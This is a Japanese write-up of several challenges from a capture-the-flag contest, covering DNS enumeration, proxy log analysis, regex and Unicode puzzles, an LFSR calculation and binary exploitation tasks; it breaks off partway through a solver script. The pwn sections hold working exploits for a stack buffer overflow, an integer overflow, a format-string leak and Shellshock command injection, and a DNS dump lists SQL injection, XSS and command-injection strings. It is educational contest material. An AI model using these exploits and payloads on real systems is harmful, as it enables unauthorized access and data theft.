example.com.            300     IN      MX      1 aspmx.l.google.com.
example.com.            300     IN      MX      5 alt1.aspmx.l.google.com.
example.com.            300     IN      MX      5 alt2.aspmx.l.google.com.
example.com.            300     IN      TXT     "google-site-verification=84ReW9l6y2KJSqiXM4E9ic7IVf_-yJiivA9rek58XIw"
example.com.            300     IN      TXT     "v=spf1 include:_spf.google.com ~all"
example.com.            300     IN      TXT     "atlassian-domain-verification=YTJ1gswsX4q4yS4zLBkPPSbVuxR1AaoZl3cB88lGY/vU4gPx/M0JLdRCVLguRDYt"

;; ADDITIONAL SECTION:
ns.example.com.         86400   IN      A       10.10.0.1
ns2.example.com.        86400   IN      A       10.10.20.22
ns3.example.com.        86400   IN      A       10.10.30.33

;; Query time: 130 msec
;; SERVER: 10.10.10.21#53(10.10.10.21) (TCP)
;; WHEN: Sun Aug 06 10:15:56 JST 2023
;; MSG SIZE  rcvd: 598

$

この時点でヒントを2つとも表示しました。「ゾーン情報ってDNSクライアントから取得できるものなの?」と思うくらいには何も知りませんでした。

DNS経由で取得できる情報をGoogle検索していると、CTFのWebセキュリティにおけるDNS/ドメインまとめ - はまやんはまやんはまやんページでdigコマンドのaxfrオプションの記載があったので試しました。ゾーン転送を意味するオプションだそうで、様々な目に留まる内容が得られました。しかしヒントにある通り、どれもフラグには繋がらないものだそうです(フラグに繋がらないのなら「らしい」ものを置く必要はないのでは、と思います):

$ dig axfr @10.10.10.21 example.com

; <<>> DiG 9.18.12-0ubuntu0.22.04.2-Ubuntu <<>> axfr @10.10.10.21 example.com
; (1 server found)
;; global options: +cmd
example.com.            86400   IN      SOA     ns.example.com. hostmaster.examle.com. 2023060101 10800 3600 604800 86400
example.com.            86400   IN      NS      ns.example.com.
example.com.            86400   IN      NS      ns2.example.com.
example.com.            86400   IN      NS      ns3.example.com.
example.com.            300     IN      MX      1 aspmx.l.google.com.
example.com.            300     IN      MX      5 alt1.aspmx.l.google.com.
example.com.            300     IN      MX      5 alt2.aspmx.l.google.com.
example.com.            300     IN      MX      10 aspmx2.googlemail.com.
example.com.            300     IN      MX      10 aspmx3.googlemail.com.
example.com.            300     IN      TXT     "v=spf1 include:_spf.google.com ~all"
example.com.            300     IN      TXT     "google-site-verification=84ReW9l6y2KJSqiXM4E9ic7IVf_-yJiivA9rek58XIw"
example.com.            300     IN      TXT     "atlassian-domain-verification=YTJ1gswsX4q4yS4zLBkPPSbVuxR1AaoZl3cB88lGY/vU4gPx/M0JLdRCVLguRDYt"
_challenge.example.com. 300     IN      TXT     "VGhpcyBpcyBhIGZpcnN0IHF1aWVzdGlvbi4="
cmdexec.example.com.    300     IN      TXT     "; ls"
helloworld.example.com. 302     IN      TXT     "Hello World"
ns.example.com.         86400   IN      A       10.10.0.1
ns2.example.com.        86400   IN      A       10.10.20.22
ns3.example.com.        86400   IN      A       10.10.30.33
sqli.example.com.       300     IN      TXT     "' or 1=1 --"
sshock.example.com.     300     IN      TXT     "() { :]}; echo ShellShocked"
xss.example.com.        300     IN      TXT     "'><script>alert('Boo')</script>"
example.com.            86400   IN      SOA     ns.example.com. hostmaster.examle.com. 2023060101 10800 3600 604800 86400
;; Query time: 160 msec
;; SERVER: 10.10.10.21#53(10.10.10.21) (TCP)
;; WHEN: Sun Aug 06 15:57:08 JST 2023
;; XFR size: 22 records (messages 1, bytes 878)

$ echo 'VGhpcyBpcyBhIGZpcnN0IHF1aWVzdGlvbi4=' | base64 -d
This is a first quiestion.
$

他にDNS関係で分かることには何があるかをGoogle検索していると、DNS確認で使うdigコマンド(個人的によく使うコマンドオプション編) - Qiitaを見つけました。その中にversion.bindについての紹介があったので早速試しました:

$ dig @10.10.10.21 chaos txt version.bind

; <<>> DiG 9.18.12-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.10.21 chaos txt version.bind
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24461
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: c815348c846ce0710100000064cf6909c429730b5138dfe3 (good)
;; QUESTION SECTION:
;version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "flag{yExjq2D72ASL}"

;; Query time: 20 msec
;; SERVER: 10.10.10.21#53(10.10.10.21) (UDP)
;; WHEN: Sun Aug 06 18:34:01 JST 2023
;; MSG SIZE  rcvd: 100

$

ついにフラグを入手できました: flag{yExjq2D72ASL}

個人的には10点問題とは全く思えない難易度でした。一方で、digコマンドで想像以上に色々調べられることも分かって面白い問題でした。

[NW] Analysis (183 solved, 20 points)

あなたは組織内で発生した情報セキュリティインシデントを調査しています。 社内で攻撃の踏み台とされた端末(10.200.200.15)から外部宛の通信を調査しています。 プロキシログ(proxylog.txt)から不審なサーバ(C&C サーバ)宛へのログを見つけて、接続先の IP アドレスを特定してください。

解答形式:flag{**********}(IP アドレス)

ヒントを表示する
ログファイルの1行目がインデックス行となっており、内容の判読が可能です。

ヒントを表示する
様々な観点でログを集計してみてください。

配布ファイルとして、proxylog.txtがあり、以下のような内容のログでした:

$ cat proxylog.txt | head -5
Time,elapsed,Source Address,code/status,bytes,Method,URL,Destnation Address,Content Type
2023/4/7 8:37:29,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
2023/4/7 8:37:30,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:37:39,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:37:55,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
$ wc -l proxylog.txt
2963 proxylog.txt
$

怪しい通信先があるかどうか、ざっくり調べました:

$ cat proxylog.txt | cut -d',' -f7,8 | sort -u
amazon_co_jp.ipa-info.net:22,HIER_DIRECT/2.57.80.99
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?,DIRECT/117.18.232.240
http://ocsp.entrust.net/MFEwTzBNMEswSTAJBgUrDgM,DIRECT/23.42.76.131
http://www.gstatic.com/generate_204,DIRECT/142.251.42.163
news.google.com:443,HIER_DIRECT/172.217.26.46
news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252
news.yahoo.co.jp:443,HIER_DIRECT/183.79.217.124
thanks.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252
twitter.com:443,HIER_DIRECT/172.217.25.69
twitter.com:443,HIER_DIRECT/183.79.250.123
twitter.com:443,HIER_DIRECT/216.58.197.163
URL,Destnation Address
weather.yahoo.co.jp:443,HIER_DIRECT/183.79.250.123
www.google.co.jp:443,HIER_DIRECT/216.58.197.163
www.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252
www.yahoo.co.jp:443,HIER_DIRECT/183.79.217.124
$

この中で、1つ目のものがAmazonを騙ったドメインで怪しいです。8番目のカラムにあるIPアドレスをフラグ形式で提出してみると正解でした: flag{2.57.80.99}

[NW] Enumeration (78 solved, 20 points)

「10.10.10.22」のサーバーにインストールされているソフトウェア(Postfix)のバージョンを特定し、回答してください。

解答形式:flag{*.*.*}(*は半角数字)

ヒントを表示する
対象のサーバ上にはどのようなサービスが稼働しているか確認してください。

ヒントを表示する
SMTP サービス(25/tcp)を調査してもバージョン情報は確認できません。

ヒントを表示する
SNMP のコミュニティ名を突破してシステム情報を列挙してください。

先に表明します。この問題、まともに解いていません……。

配布ファイルはありません。ひとまずnmapで調査しました:

$ sudo nmap -sS -sV -sC -Pn -vvv -T3 -O --traceroute "10.10.10.22" -oA nmap_10.10.10.22
Nmap scan report for 10.10.10.22
Host is up, received user-set (0.035s latency).
Scanned at 2023-08-06 12:34:27 JST for 18s
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON          VERSION
25/tcp open  smtp    syn-ack ttl 128 Postfix smtpd
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-12T07:06:34
| Not valid after:  2033-06-09T07:06:34
| MD5:   9d95:8a6e:3f76:aae8:5081:bb4c:7964:3f69
| SHA-1: 7a10:d0a5:7f7b:67c8:4f15:fd7e:75cf:260e:c6ec:9f22
| -----BEGIN CERTIFICATE-----
|   (中略)
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X
(中略)

とりあえず有名所で開いているポートは25だけ、バナーにはバージョン無しと分かりました。ncコマンドで自分で繋ぎに行ってもバージョンは分かりませんでした:

$  nc -nv 10.10.10.22 25
(UNKNOWN) [10.10.10.22] 25 (smtp) open
220 debian ESMTP Postfix (Debian/GNU)
HELO test
250 debian
EHLO test
250-debian
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING

SMTPのコマンドを調べていると、Postfix 3系の SMTPUTF8 を試してみた | SIOS Tech. Labから、SMTPUTF8コマンドがあるのでPostfix 3.0以降らしいと分かりました。

ただ、しばらく調べても他にバージョンに繋がりそうなものは見つかりませんでした。他のマシンの稼働サービスを見るに新しいバージョンが動いていそうだったので、最終手段としてDebian Package Tracker記載のバージョンを、新しいものから順番に試すことにしました。新しいものから3つ目のバージョンが正解でした: flag{3.7.5}

ヒントを見るに、UDPスキャンをすればSNMPに気づけて、そこからバージョンが分かったようです。UDPスキャンは忘れがちですね……。

[PROGRAMMING] Regex Exercise (222 solved, 10 points)

たくさんの偽のフラグに混ざった本物のフラグを見つけてください。本物のフラグは

1.Regexp
2."!!" を含む3文字
3.数字2けた
4."S" で始まる5文字以上の英単語
5.一の位が "8" の数値
がこの順番で並んだものです。

解答形式:flag{************}

本問題にヒントはありません。配布ファイルとして、regex-flags.txtがありました。grepコマンドで指示通りに絞っていきました:

$ wc -l regex-flags.txt
2500 regex-flags.txt
$ cat regex-flags.txt | grep 'flag{Regexp(!!.|!.!|.!!)[0-9]{2}S.*8}'
flag{Regexp:!!15Splendid159156098}
$

フラグを入手できました: flag{Regexp:!!15Splendid159156098}

[PROGRAMMING] Mimic Unicode (58 solved, 20 points)

mimic.txt の文字列内に隠されているフラグを見つけてください。

解答形式:flag{************}

ヒントを表示する
Unicode 結合文字とそうでないものが混ざっています。

ヒントを表示する
8ビットのまとまりとして見ると?

配布ファイルとして、mimic.txtがありました:

ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ

私の使っているテキストエディターだと、1文字のと、に濁点がついたゴを、カーソル移動や検索で判断できました。それぞれの文字を適当な文字に置き換えると、MSBが全て0の8-bit単位のASCIIに見えました。8文字ずつに区切ってCyberChefに復号してもらって、フラグを入手できました: flag{Un1c0de_N0rma|1z@t10n}

PROGRAMMINGジャンルと言うよりはMISCジャンル系統の問題に思いました。

[PROGRAMMING] LFSR Period (32 solved, 20 points)

次の多項式で表される長さ20ビットの線形帰還シフトレジスタ(LFSR)に、初期値 0x70109 を与えた場合の周期(もう一度 0x70109 が現れるまでのシフト回数)を10進整数で答えてください。

x^20 + x^15 + x^11 + 1

解答形式:整数値(半角数字)

本問題にヒントや配布ファイルはありません。とりあえず「LFSRの最大周期は2**n-1では?」と1048575を提出しましたがIncorrectでした。

Linear-feedback shift register - Wikipediaを見ながら実装しました。何回か実装ミスしてIncorrectと言われながら、最終的に書き上げたコードがこちらです:

#!/usr/bin/env python3

state = 0x70109
appeared = set()

period = 0
while True:
    if state in appeared:
        break
    appeared.add(state)
    period += 1

    next_bit = ((state >> 0) ^ (state >> 5) ^ (state >> 9)) & 1
    state = (state >> 1) | (next_bit << 19)
    print(f"state: {state:020b}")
print(period)

実行結果です:

$ ./solve.py
state: 10111000000010000100
state: 01011100000001000010
state: 00101110000000100001
(中略)
state: 11100000001000010011
state: 01110000000100001001
57288
$

提出すると正解でした: 57288

[PWN] Auth (47 solved, 10 points)

ログイン機能を作ってみました。By C 言語ルーキー

対象 IP アドレス:ポート:10.10.10.15:1001

解答方式:flag{************}

ヒントを表示する
認証をバイパスするには?

ヒントを表示する
どの関数に BOF の脆弱性がある?

配布ファイルとして、バイナリauthがありました:

$ file auth
auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=107a9430e258db71e5c5ef86b1f9703a73a271ac, for GNU/Linux 3.2.0, not stripped
$ pwn checksec auth
[*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Auth/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

IDAで開いて逆コンパイルすると、getsを使ったBufferOverflowが発生することが分かります:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char strUserSize16[16]; // [rsp+0h] [rbp-30h] BYREF
  char strPasswordSize16[16]; // [rsp+10h] [rbp-20h] BYREF
  char strResultSize14[14]; // [rsp+2Ah] [rbp-6h] BYREF

  strcpy(strResultSize14, "false");
  memset(strPasswordSize16, 0, sizeof(strPasswordSize16));
  memset(strUserSize16, 0, sizeof(strUserSize16));
  flag_set();
  puts("   _____          __  .__      ");
  puts("  /  _  \\  __ ___/  |_|  |__   ");
  puts(" /  /_\\  \\|  |  \\   __\\  |  \\  ");
  puts("/    |    \\  |  /|  | |   Y  \\ ");
  puts("\\____|__  /____/ |__| |___|  / ");
  puts("        \\/                 \\/  ");
  putchar(10);
  printf("User: ");
  gets(strUserSize16);
  printf("Password: ");
  gets(strPasswordSize16);
  if ( !strcmp(strPasswordSize16, flag) )
    strcpy(strResultSize14, "true");
  if ( !strcmp(strUserSize16, "admin") && !strcmp(strResultSize14, "true") )
  {
    puts("Login succeeded!!");
    printf("flag: %s\n", flag);
  }
  else
  {
    puts("Invalid password...");
  }
  return 0;
}

main関数のローカル変数の配置は以下になっています:

-0000000000000030 strUserSize16   db 16 dup(?)
-0000000000000020 strPasswordSize16 db 24 dup(?)
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006 strResultSize14 db 14 dup(?)
+0000000000000008  r              db 8 dup(?)

パスワード入力時にオーバーフローさせて"true", "false"格納用バッファを上書きさせることにしました:

#!/usr/bin/env python3

import pwn

pwn.context.binary = "./auth"

def solve(io):
    io.sendlineafter(b"User: ", b"admin")
    io.sendlineafter(b"Password: ", b"A"*26 + b"true")
    print(io.recvall().decode())
    pass

# with pwn.process() as io: solve(io)
with pwn.remote("10.10.10.15", 1001) as io: solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Auth/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 10.10.10.15 on port 1001: Done
[+] Receiving all data: Done (43B)
[*] Closed connection to 10.10.10.15 port 1001
Login succeeded!!
flag: flag{wVFuVRn2Zmat}

$

フラグを入手できました: flag: flag{wVFuVRn2Zmat}

[PWN] Festival (88 solved, 10 points)

祭りだ!祭りだ! flag を購入してね。

対象 IP アドレス:ポート:10.10.10.15:1002

解答方式:flag{************}

ヒントを表示する
int 型の最大値は何か?

配布ファイルとして、バイナリfestivalがありました:

$ file festival
festival: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d4a03532de8ad340535ac36eb11b72f4a1b14632, for GNU/Linux 3.2.0, not stripped
$ pwn checksec festival
[*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Festival/festival'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

IDAで開いて逆コンパイルすると、ものを買うプログラムのようです:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-60h] BYREF
  char v5; // [rsp+8h] [rbp-58h]
  char v6[18]; // [rsp+9h] [rbp-57h] BYREF
  char v7[21]; // [rsp+1Bh] [rbp-45h] BYREF
  int arrayDwPrices[8]; // [rsp+30h] [rbp-30h]
  int dwCount; // [rsp+50h] [rbp-10h] BYREF
  int dwMenu; // [rsp+54h] [rbp-Ch] BYREF
  int i; // [rsp+58h] [rbp-8h]
  unsigned int dwCurrentBalance; // [rsp+5Ch] [rbp-4h]

  puts("___________              __  .__              .__   ");
  puts("\\_   _____/___   _______/  |_|__|__  _______  |  |  ");
  puts(" |    __)/ __ \\ /  ___/\\   __\\  \\  \\/ /\\__  \\ |  |  ");
  puts(" |     \\  ___/ \\___ \\  |  | |  |\\   /  / __ \\|  |__");
  puts(" \\___  / \\___  >____  > |__| |__| \\_/  (____  /____/");
  puts("     \\/      \\/     \\/                      \\/      ");
  putchar(10);
  dwCurrentBalance = 1000;
  arrayDwPrices[0] = 100;
  arrayDwPrices[1] = 200;
  arrayDwPrices[2] = 300;
  arrayDwPrices[3] = 500;
  arrayDwPrices[4] = 1000000000;
  v4 = 'enumaR';
  v5 = 0;
  strcpy(v6, "Yakitori");
  *(_QWORD *)&v6[9] = 'reeB';
  v6[17] = 0;
  strcpy(v7, "Yakisoba");
  *(_QWORD *)&v7[9] = 'galF';
  v7[17] = 0;
  flag_set(10LL, argv);
  while ( 1 )
  {
    printf("Balance : %d\n", dwCurrentBalance);
    puts("==Menu==");
    for ( i = 0; i <= 4; ++i )
      printf("%d. %s : %d\n", (unsigned int)(i + 1), (const char *)&v4 + 9 * i, (unsigned int)arrayDwPrices[i]);
    putchar(10);
    puts("Staff > What do you want to buy?");
    puts("Staff > Input menu number.");
    printf(" You  > ");
    __isoc99_scanf("%d", &dwMenu);
    puts("Staff > How many?");
    printf(" You  > ");
    __isoc99_scanf("%d", &dwCount);
    if ( dwMenu > 5 || dwMenu <= 0 )
    {
      printf("Staff > Invalid number!");
      return 0;
    }
    if ( dwCount <= 0 )
    {
      puts("Staff > Huh?");
      return 0;
    }
    dwCurrentBalance -= arrayDwPrices[dwMenu - 1] * dwCount;
    if ( (dwCurrentBalance & 0x80000000) != 0 )
    {
      puts("Staff > Not enough money...");
      return 0;
    }
    if ( dwMenu == 5 )
      break;
    puts("Staff > here you are.");
    puts("Staff > Please buy more!");
    putchar(10);
  }
  printf("Staff > %s\n", flag);
  return 0;
}

最終目標のFlagは高価すぎて初期状態では買えません。if ( dwCount <= 0 )の分岐があるため負の個数の購入でお金を増やすこともできません。一方で、dwCurrentBalance -= arrayDwPrices[dwMenu - 1] * dwCount箇所の掛け算でオーバーフローさせて負の数にしてやると、資金を増やせそうです。リモート宛に実行しました:

$ nc 10.10.10.15 1002
___________              __  .__              .__
\_   _____/___   _______/  |_|__|__  _______  |  |
 |    __)/ __ \ /  ___/\   __\  \  \/ /\__  \ |  |
 |     \  ___/ \___ \  |  | |  |\   /  / __ \|  |__
 \___  / \___  >____  > |__| |__| \_/  (____  /____/
     \/      \/     \/                      \/

Balance : 1000
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000

Staff > What do you want to buy?
Staff > Input menu number.
 You  > 4
Staff > How many?
 You  > 6589934
Staff > here you are.
Staff > Please buy more!

Balance : 1000001296
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000

Staff > What do you want to buy?
Staff > Input menu number.
 You  > 5
Staff > How many?
 You  > 1
Staff > flag{gwAZLDpEHAg6}

フラグを入手できました: flag{gwAZLDpEHAg6}

[PWN] Parrot (39 solved, 20 points)

僕はオウム。なんでも繰り返し言うよ。

対象 IP アドレス:ポート:10.10.10.15:1003

解答方式:flag{************}

ヒントを表示する
書式文字列攻撃が有効です。

配布ファイルとして、バイナリparrotがありました:

$ file parrot
parrot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3e4324647ea93462a81ad7968d0edb706899df3a, for GNU/Linux 3.2.0, not stripped
$ pwn checksec parrot
[*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Parrot/parrot'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$

IDAで逆コンパイルすると、printf関数呼び出し箇所にFormatStringBugがありました:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *fpFlag; // [rsp+0h] [rbp-270h]
  char *pStrSize48; // [rsp+8h] [rbp-268h]
  char strFormat[592]; // [rsp+10h] [rbp-260h] BYREF
  int v7; // [rsp+260h] [rbp-10h]
  __int16 v8; // [rsp+264h] [rbp-Ch]
  unsigned __int64 v9; // [rsp+268h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  fpFlag = fopen("flag.txt", "rt");
  pStrSize48 = (char *)malloc(0x30uLL);
  fgets(pStrSize48, 48, fpFlag);
  puts("__________                             __   ");
  puts("\\______   \\_____ ______________  _____/  |_ ");
  puts(" |     ___/\\__  \\\\_  __ \\_  __ \\/  _ \\   __\\");
  puts(" |    |     / __ \\|  | \\/|  | \\(  <_> )  |  ");
  puts(" |____|    (____  /__|   |__|   \\____/|__|");
  putchar('\n');
  memset(strFormat, 0, sizeof(strFormat));
  v7 = 0;
  v8 = 0;
  printf(" You > ");
  __isoc99_scanf("%255s", strFormat);
  printf("Parrot > ");
  printf(strFormat);
  putchar('\n');
  return 0;
}

%1$s等の入力を順番に試して、フラグ文字列がある位置を探しました。ローカル実行では5番目でしたが、リモート実行では7番目でした:

$ cat flag.txt
DUMMY{THIS_IS_A_TEST}
$ ./parrot
__________                             __
\______   \_____ ______________  _____/  |_
 |     ___/\__  \\_  __ \_  __ \/  _ \   __\
 |    |     / __ \|  | \/|  | \(  <_> )  |
 |____|    (____  /__|   |__|   \____/|__|

 You > %5$s
Parrot > DUMMY{THIS_IS_A_TEST}

$ nc 10.10.10.15 1003
__________                             __
\______   \_____ ______________  _____/  |_
 |     ___/\__  \\_  __ \_  __ \/  _ \   __\
 |    |     / __ \|  | \/|  | \(  <_> )  |
 |____|    (____  /__|   |__|   \____/|__|

 You > %5$s
Parrot > timeout: the monitored command dumped core
Segmentation fault
^C
$ nc 10.10.10.15 1003
__________                             __
\______   \_____ ______________  _____/  |_
 |     ___/\__  \\_  __ \_  __ \/  _ \   __\
 |    |     / __ \|  | \/|  | \(  <_> )  |
 |____|    (____  /__|   |__|   \____/|__|

 You > %7$s
Parrot > flag{sRUNzwv4PF4p}

フラグを入手できました: flag{sRUNzwv4PF4p}

[PWN] Shock (33 solved, 20 points)

ショッカーを倒せ!

対象 IP アドレス:ポート:10.10.10.16:1004

解答方式:flag{************}

ヒントを表示する
CVE-2014-6271

配布ファイルとして、2つのバイナリshockbash_4.3.0がありました:

$ file *
bash_4.3.0: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=681384f1897aba001ed194deb632fdc8afd844c0, for GNU/Linux 3.2.0, with debug_info, not stripped
shock:      ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ddd1100241a12513517051189a94c6a754e29883, for GNU/Linux 3.2.0, not stripped
$ pwn checksec shock
[*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Shock/shock'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

shockをIDAで逆コンパイルすると、環境変数を設定した後にbash_4.3.0を実行する内容でした:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char strEnv[48]; // [rsp+0h] [rbp-50h] BYREF
  char strEnvValue[32]; // [rsp+30h] [rbp-20h] BYREF

  puts("  _________.__                   __    ");
  puts(" /   _____/|  |__   ____   ____ |  | __");
  puts(" \\_____  \\ |  |  \\ /  _ \\_/ ___\\|  |/ /");
  puts(" /        \\|   Y  (  <_> )  \\___|    < ");
  puts("/_______  /|___|  /\\____/ \\___  >__|_ \\");
  puts("        \\/      \\/            \\/     \\/");
  putchar(10);
  puts("Shocker > I'm a shocker! Try to beat me!");
  printf("You > ");
  fgets(strEnvValue, 32, stdin);
  snprintf(strEnv, 0x30uLL, "s=%s", strEnvValue);
  putenv(strEnv);
  system("./bash_4.3.0 -c 'echo Shocker \\> $SHOCK level will not bring you down.'");
  return 0;
}

bashが配られていることと問題タイトルから、「ShellShock」という脆弱性を思い出しました。影響するバージョンを調べてみると、GNU Bourne-Again Shell (Bash) ‘Shellshock’ Vulnerability (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277 and CVE 2014-6278) | CISAで「Bash 4.3.0まで」という旨の記載がありました。今回の場合にばっちり該当します。

今回は環境変数の値部分が32文字以内ということに注意して、mubix/shellshocker-pocs: Collection of Proof of Concepts and Potential Targets for #ShellShockerで紹介されているものを試すと、() { :; }; /bin/lsの入力でコマンド実行が成功しました:

$ nc 10.10.10.16 1004
  _________.__                   __
 /   _____/|  |__   ____   ____ |  | __
 \_____  \ |  |  \ /  _ \_/ ___\|  |/ /
 /        \|   Y  (  <_> )  \___|    <
/_______  /|___|  /\____/ \___  >__|_ \
        \/      \/            \/     \/

Shocker > I'm a shocker! Try to beat me!
You > () { :; }; /bin/ls
bash_4.3.0
chall
flag.txt
start.sh
Segmentation fault (core dumped)
^C
$ nc 10.10.10.16 1004
  _________.__                   __
 /   _____/|  |__   ____   ____ |  | __
 \_____  \ |  |  \ /  _ \_/ ___\|  |/ /
 /        \|   Y  (  <_> )  \___|    <
/_______  /|___|  /\____/ \___  >__|_ \
        \/      \/            \/     \/

Shocker > I'm a shocker! Try to beat me!
You > () { :; }; /bin/cat flag.txt
flag{UgjiH6Ep3Xda}
Segmentation fault (core dumped)
$

フラグを入手できました: flag{UgjiH6Ep3Xda}

既知かつ公知の脆弱性を使って攻撃するPWNジャンルは珍しく思いました。

[PWN] Noprotect (32 solved, 30 points)

flags 関数呼び出し忘れちゃった。

対象 IP アドレス:ポート:10.10.10.15:1005

解答方式:flag{************}

ヒントを表示する
スタックバッファオーバーフローの脆弱性があります。

ヒントを表示する
flags 関数のメモリ位置はどこでしょうか。

配布ファイルとして、バイナリnoprotectがありました:

$ file noprotect
noprotect: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=93563bb50b42cc312827e4579b1b7660f7945f4a, for GNU/Linux 3.2.0, not stripped
$ pwn checksec noprotect
[*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Noprotect/noprotect'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
$

通常では無いはずの「Has RWX segments」があるあたり、過剰にNoprotectなバイナリです。IDAで逆コンパイルすると、gets関数でBufferOverflowさせることで、mainからの戻りアドレスを改ざんできそうです:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char strBufferSize256[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("                             _            _   ");
  puts(" _ __   ___  _ __  _ __ ___ | |_ ___  ___| |_ ");
  puts("| '_ \\ / _ \\| '_ \\| '__/ _ \\| __/ _ \\/ __| __|");
  puts("| | | | (_) | |_) | | | (_) | ||  __/ (__| |_ ");
  puts("|_| |_|\\___/| .__/|_|  \\___/ \\__\\___|\\___|\\__|");
  puts("            |_|                               \n");
  putchar(10);
  printf("n0protec > ");
  gets(strBufferSize256);
  return 0;
}

main関数のローカル変数等の配置です:

-0000000000000100 strBufferSize256 db 256 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

PIEが無いためflag関数のアドレスは固定です。これらを利用してソルバーを書きました:

#!/usr/bin/env python3

import pwn

BIN_NAME = "./noprotect"
pwn.context.binary = BIN_NAME

def solve(io):
    addr_flags = 0x00000000004011A6
    payload = pwn.flat([b"A" * (256+8), addr_flags])
    io.sendlineafter(b"n0protec > ", payload)
    print(io.recvall().decode())

# with pwn.process() as io: solve(io)
